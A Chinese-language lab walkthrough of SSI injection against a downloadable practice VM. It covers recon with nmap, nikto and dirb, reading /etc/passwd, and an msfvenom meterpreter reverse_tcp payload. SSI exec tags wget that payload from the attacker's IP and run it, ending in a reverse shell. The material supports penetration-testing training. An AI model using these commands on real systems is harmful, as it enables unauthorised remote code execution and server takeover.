SSI漏洞注入原理
SSI(Server Side Include),通常称为服务器端嵌入,是一种类似于ASP的基于服务器的网页制作技术。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。
在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞。
准备工作
靶机地址:
链接:https://pan.baidu.com/s/1MTunDny-m5eICXAS9P8ugA
提取码:x3c2
漏洞复现过程
- 使用netdiscover发现存活主机
netdiscover -i eth0
- 使用nmap进行服务探测
nmap -sV 172.20.10.8
- 发现服务器开启了apache服务
- 再使用nikto和dirb对目标服务器进行子目录的信息挖掘
nikto -host http://172.20.10.8
dirb http://172.20.10.8
-
发现了index.shtml文件,可初步判断存在ssi注入
-
使用dirb探测时发现了ssi的具体目录,对各个目录进行登录访问
-
在robots.txt文件中没有发现任何有价值的信息
-
在index目录和index.php页面上发现了一个登录网站和一些命令信息
-
访问index页面
- 尝试使用上述命令登录网站后端获取敏感信息
- 在绕过字符过滤时,发现能得到/etc/passwd文件的信息
- 尝试用msfvenom生成shellcode对网站进行漏洞注入
msfvenom -p python/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw > /root/Desktop/shellcode.py
- 注意:因为注入时要用到文件上传,因此要开启apache服务才能注入成功,并将shellcode.py文件上传到html文件目录上
service apache2 start
service apache2 status
mv /root/Desktop/shellcode.py /var/www/html
- 打开msfconsole框架,进行漏洞利用并监听
msfconsole
use exploit/multi/handler
set lhost 本机IP
set payload python/meterpreter/reverse_tcp
run
- 在http://靶机ip/index.php中利用post表单进行shellcode的下载
- 在第一个输入框中输入任意值
- 第二个输入框中执行恶意命令
<!--#EEXEC cmd="wget http://本机IP/shellcode.py">
<!--#EEXEC cmd="chmod 777 shellcode.py">
<!--#EEXEC cmd="python shellcode.py">
- 反弹webshell成功
- 输入以下代码进行终端优化
shell
python -c "import pty; pty.spawn('/bin/bash')"
id;pwd